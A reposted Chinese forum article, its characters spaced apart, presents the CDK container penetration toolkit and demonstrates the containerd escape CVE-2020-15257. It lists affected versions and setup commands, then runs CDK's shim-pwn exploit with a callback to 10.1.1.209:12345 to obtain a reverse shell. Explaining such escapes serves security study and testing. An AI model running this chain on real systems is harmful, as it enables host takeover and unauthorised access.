搜索

[1035] 2020-12-28_发现一款容器逃逸漏洞利用神器！

文档创建者：s7ckTeam
浏览次数：9
最后更新：2025-01-16
2020-12-28_发现一款容器逃逸漏洞利用神器！ 发 现 一 款 容 器 逃 逸 漏 洞 利 用 神 器 ！ 原 创   B y p a s s   B y p a s s   2 0 2 0 - 1 2 - 2 8 有 在 关 注 容 器 逃 逸 漏 洞 ， 最 近 在 g i t h u b 上 发 现 了 一 款 零 依 赖 D o c k e r / K 8 s 渗 透 工 具 包 ， 集 成 了 多 个 漏 洞 P o C / E X P ， 可 轻 松 逃 脱 容 器 并 接 管 K 8 s 集 群 。 C D K -   零 依 赖 零 依 赖 D o c k e r / K 8 s 渗 透 工 具 包 渗 透 工 具 包 C D K 是 一 款 为 容 器 环 境 定 制 的 渗 透 测 试 工 具 ， 在 已 攻 陷 的 容 器 内 部 提 供 零 依 赖 的 常 用 命 令 及 P o C / E X P 。 集 成 D o c k e r / K 8 s 场 景 特 有 的   逃 逸 、 横 向 移 动 、 持 久 化 利 用 方 式 ， 插 件 化 管 理 。 g i t h u b 项 目 地 址 ： 下 面 以 最 近 发 布 的 容 器 逃 逸 漏 洞   C V E - 2 0 2 0 - 1 5 2 5 7 作 为 演 示 漏 洞 利 用 过 程 。 漏 洞 简 述 ： 漏 洞 简 述 ： 当 在 d o c k e r 使 用 – n e t = h o s t 参 数 启 动 ， 与 宿 主 机 共 享 n e t   n a m e s p a c e 时 ， 容 器 中 的 攻 击 者 可 以 绕 过 访 问 权 限 访 问   c o n t a i n e r d   的 控 制 A P I   进 而 导 致 权 限 提 升 。 漏 洞 利 用 ： 漏 洞 利 用 ： （ 1 ） 安 装 有 漏 洞 的 c o n t a i n e r d 版 本 。 影 响 版 本 c o n t a i n e r d <   1 . 3 . 9 & & c o n t a i n e r d   <   1 . 4 . 3 h t t p s : / / g i t h u b . c o m / X y n t a x / C D K # 列 出 仓 库 中 可 用 的 版 本 ， 安 装 特 定 版 本 的   D o c k e r   E n g i n e - C o m m u n i t y a p t - c a c h e   m a d i s o n   d o c k e r - c e s u d o   a p t - g e t   i n s t a l l   d o c k e r - c e = < V E R S I O N _ S T R I N G >   d o c k e r - c e - c l i = < V E R S I O N _ S T R I N G >   c o n t a i n e r d . i o = < V E R S I O N _ S T R I N G >
（ 2 ） 通 过   作 为 启 动 参 数 来 运 行 一 个 容 器 。 在 容 器 内 执 行     可 看 到 抽 象 命 名 空 间 U n i x 域 套 接 字 。 （ 3 ） 通 过 C D K 执 行 e x p ， 成 功 反 弹 s h e l l ， 实 现 容 器 逃 逸 。 - - n e t = h o s t s u d o   d o c k e r   r u n   - i t   - - n e t = h o s t   u b u n t u : 1 8 . 0 4   / b i n / b a s h c a t   / p r o c / n e t / u n i x | g r e p   - a   " c o n t a i n e r d - s h i m " w g e t   h t t p s : / / g i t h u b . c o m / X y n t a x / C D K / r e l e a s e s / d o w n l o a d / 0 . 1 . 6 / c d k _ v 0 . 1 . 6 _ r e l e a s e . t a r . g z t a r   - z x v f   c d k _ v 0 . 1 . 6 _ r e l e a s e . t a r . g z   . / c d k _ l i n u x _ a m d 6 4   r u n   s h i m - p w n   1 0 . 1 . 1 . 2 0 9   1 2 3 4 5
参 考 链 接 ： h t t p s : / / w w w . c d x y . m e / ? p = 8 3 7
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理